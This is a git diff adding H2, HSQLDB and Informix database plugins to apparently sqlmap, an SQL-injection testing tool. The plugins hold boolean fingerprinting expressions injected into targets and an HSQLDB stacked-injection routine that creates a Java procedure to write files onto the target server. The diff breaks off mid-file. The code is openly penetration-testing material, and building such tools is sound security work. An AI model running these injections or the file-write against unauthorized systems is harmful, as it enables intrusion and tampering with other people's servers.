100644 index 00000000000..fbefae0055a --- /dev/null +++ b/plugins/dbms/h2/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import H2_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.h2.enumeration import Enumeration +from plugins.dbms.h2.filesystem import Filesystem +from plugins.dbms.h2.fingerprint import Fingerprint +from plugins.dbms.h2.syntax import Syntax +from plugins.dbms.h2.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines H2 methods + """ + + def __init__(self): + self.excludeDbsList = H2_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.H2] = Syntax.escape diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py new file mode 100644 index 00000000000..ec625e31f8b --- /dev/null +++ b/plugins/dbms/h2/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on H2 it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py new file mode 100644 index 00000000000..9dc1131d329 --- /dev/null +++ b/plugins/dbms/h2/enumeration.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import unArrayizeValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.settings import H2_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + if not conf.getBanner: + return + + if kb.data.banner is None: + infoMsg = "fetching banner" + logger.info(infoMsg) + + query = queries[DBMS.H2].banner.query + kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) + + return kb.data.banner + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on H2 it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on H2 it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getCurrentDb(self): + return H2_DEFAULT_SCHEMA + + def getPasswordHashes(self): + warnMsg = "on H2 it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on H2 it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py new file mode 100644 index 00000000000..f607dc2438c --- /dev/null +++ b/plugins/dbms/h2/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on H2 it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on H2 it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py new file mode 100644 index 00000000000..7125b27cec3 --- /dev/null +++ b/plugins/dbms/h2/fingerprint.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import H2_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.H2) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"): + fork = FORK.IGNITE + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.H2 + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): + setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.H2 + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ZERO()=0") + + if result: + infoMsg = "confirming %s" % DBMS.H2 + logger.info(infoMsg) + + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.H2 + logger.warning(warnMsg) + + return False + else: + setDbms(DBMS.H2) + + result = inject.checkBooleanExpression("JSON_OBJECT() IS NOT NULL") + version = '2' if result else '1' + Backend.setVersion(version) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.H2 + logger.warning(warnMsg) + + return False + + def getHostname(self): + warnMsg = "on H2 it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py new file mode 100644 index 00000000000..cfc1c86a8ca --- /dev/null +++ b/plugins/dbms/h2/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py new file mode 100644 index 00000000000..29ba323a57c --- /dev/null +++ b/plugins/dbms/h2/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on H2 it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on H2 it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on H2 it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on H2 it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py new file mode 100644 index 00000000000..9a667f25a38 --- /dev/null +++ b/plugins/dbms/hsqldb/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import HSQLDB_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.hsqldb.enumeration import Enumeration +from plugins.dbms.hsqldb.filesystem import Filesystem +from plugins.dbms.hsqldb.fingerprint import Fingerprint +from plugins.dbms.hsqldb.syntax import Syntax +from plugins.dbms.hsqldb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines HSQLDB methods + """ + + def __init__(self): + self.excludeDbsList = HSQLDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.HSQLDB] = Syntax.escape diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py new file mode 100644 index 00000000000..429337d20bd --- /dev/null +++ b/plugins/dbms/hsqldb/connector.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import jaydebeapi + import jpype +except: + pass + +import logging + +from lib.core.common import checkFile +from lib.core.common import getSafeExString +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ + User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html + API: - + Debian package: - + License: LGPL & Apache License 2.0 + """ + + def connect(self): + self.initConnection() + try: + msg = "please enter the location of 'hsqldb.jar'? " + jar = readInput(msg) + checkFile(jar) + args = "-Djava.class.path=%s" % jar + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + driver = 'org.hsqldb.jdbc.JDBCDriver' + connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) + self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + upper_query = query.upper() + + if query and not (upper_query.startswith("SELECT ") or upper_query.startswith("VALUES ")): + query = "VALUES %s" % query + + if query and upper_query.startswith("SELECT ") and " FROM " not in upper_query: + query = "%s FROM (VALUES(0))" % query + + self.cursor.execute(query) + retVal = self.cursor.fetchall() + + return retVal diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py new file mode 100644 index 00000000000..a45484c4571 --- /dev/null +++ b/plugins/dbms/hsqldb/enumeration.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import unArrayizeValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.settings import HSQLDB_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + if not conf.getBanner: + return + + if kb.data.banner is None: + infoMsg = "fetching banner" + logger.info(infoMsg) + + query = queries[DBMS.HSQLDB].banner.query + kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) + + return kb.data.banner + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on HSQLDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getCurrentDb(self): + return HSQLDB_DEFAULT_SCHEMA + + def getStatements(self): + warnMsg = "on HSQLDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py new file mode 100644 index 00000000000..d5e78548412 --- /dev/null +++ b/plugins/dbms/hsqldb/filesystem.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import PLACE +from lib.request import inject +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on HSQLDB it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + @stackedmethod + def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + func_name = randomStr() + max_bytes = 1024 * 1024 + + debugMsg = "creating JLP procedure '%s'" % func_name + logger.debug(debugMsg) + + addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes) + addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " + addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" + inject.goStacked(addFuncQuery) + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "as the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures + invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes) + inject.goStacked(invokeQuery) + + logger.debug("cleaning up the database management system") + + delQuery = "DELETE PROCEDURE %s" % func_name + inject.goStacked(delQuery) + + message = "the local file '%s' has been written on the back-end DBMS" % localFile + message += "file system ('%s')" % remoteFile + logger.info(message) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py new file mode 100644 index 00000000000..b58faee05da --- /dev/null +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import unArrayizeValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import HSQLDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.HSQLDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp and not conf.api: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp and not conf.api: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + actVer = Format.getDbms() + + if not conf.extensiveFp: + value += actVer + return value + + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" + + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + DATABASE_VERSION() + version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') + version 2.2.5 added SYSTIMESTAMP function + version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions + version 2.2.0 added support for ROWNUM() function + version 2.1.0 added MEDIAN aggregate function + version < 2.0.1 added support for datetime ROUND and TRUNC functions + version 2.0.0 added VALUES support + version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the + full version string, including the 4th digit (e.g 1.8.0.4). + version 1.7.2 CASE statements added and INFORMATION_SCHEMA + + """ + + if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): + setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) + + if Backend.isVersionGreaterOrEqualThan("1.7.2"): + kb.data.has_information_schema = True + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.HSQLDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") + + if result: + infoMsg = "confirming %s" % DBMS.HSQLDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB + logger.warning(warnMsg) + + return False + else: + result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) + if result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB + logger.warning(warnMsg) + + return False + + kb.data.has_information_schema = True + Backend.setVersion(">= 1.7.2") + setDbms("%s 1.7.2" % DBMS.HSQLDB) + + banner = self.getBanner() + if banner: + Backend.setVersion("= %s" % banner) + else: + if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): + Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) + else: + banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) + if banner: + Backend.setVersion("= %s" % banner) + else: + Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB + logger.warning(warnMsg) + + dbgMsg = "...or version is < 1.7.2" + logger.debug(dbgMsg) + + return False + + def getHostname(self): + warnMsg = "on HSQLDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py new file mode 100644 index 00000000000..cfc1c86a8ca --- /dev/null +++ b/plugins/dbms/hsqldb/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py new file mode 100644 index 00000000000..f364bdf54d2 --- /dev/null +++ b/plugins/dbms/hsqldb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on HSQLDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on HSQLDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on HSQLDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on HSQLDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py new file mode 100644 index 00000000000..8cb00583fbe --- /dev/null +++ b/plugins/dbms/informix/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import INFORMIX_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.informix.enumeration import Enumeration +from plugins.dbms.informix.filesystem import Filesystem +from plugins.dbms.informix.fingerprint import Fingerprint +from plugins.dbms.informix.syntax import Syntax +from plugins.dbms.informix.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Informix methods + """ + + def __init__(self): + self.excludeDbsList = INFORMIX_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.INFORMIX] = Syntax.escape diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py new file mode 100644 index 00000000000..e6f05889c0f --- /dev/null +++ b/plugins/dbms/informix/connector.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import ibm_db_dbi +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/ibmdb/python-ibmdb + User guide: https://github.com/ibmdb/python-ibmdb/wiki/README + API: https://www.python.org/dev/peps/pep-0249/ + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) + self.connector = ibm_db_dbi.connect(database, self.user, self.password) + except ibm_db_dbi.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except ibm_db_dbi.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except ibm_db_dbi.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py new file mode 100644 index 00000000000..c67bdf71368 --- /dev/null +++ b/plugins/dbms/informix/enumeration.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def searchDb(self): + warnMsg = "on Informix searching of databases is not implemented" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Informix searching of tables is not implemented" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Informix searching of columns is not implemented" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Informix search option is not available" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Informix it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/informix/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py new file mode 100644 index 00000000000..f71e6deff80 --- /dev/null +++ b/plugins/dbms/informix/fingerprint.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import INFORMIX_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.INFORMIX) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.INFORMIX + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES): + setDbms(DBMS.INFORMIX) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.INFORMIX + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)") + + if result: + infoMsg = "confirming %s" % DBMS.INFORMIX + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX + logger.warning(warnMsg) + + return False + + # Determine if it is Informix >= 11.70 + if inject.checkBooleanExpression("CHR(32)=' '"): + Backend.setVersion(">= 11.70") + + setDbms(DBMS.INFORMIX) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX + logger.info(infoMsg) + + for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) + + if output: + Backend.setVersion(version) + break + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py new file mode 100644 index 00000000000..430664adec4 --- /dev/null +++ b/plugins/dbms/informix/syntax.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import isDBMSVersionAtLeast +from lib.core.common import randomStr +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend 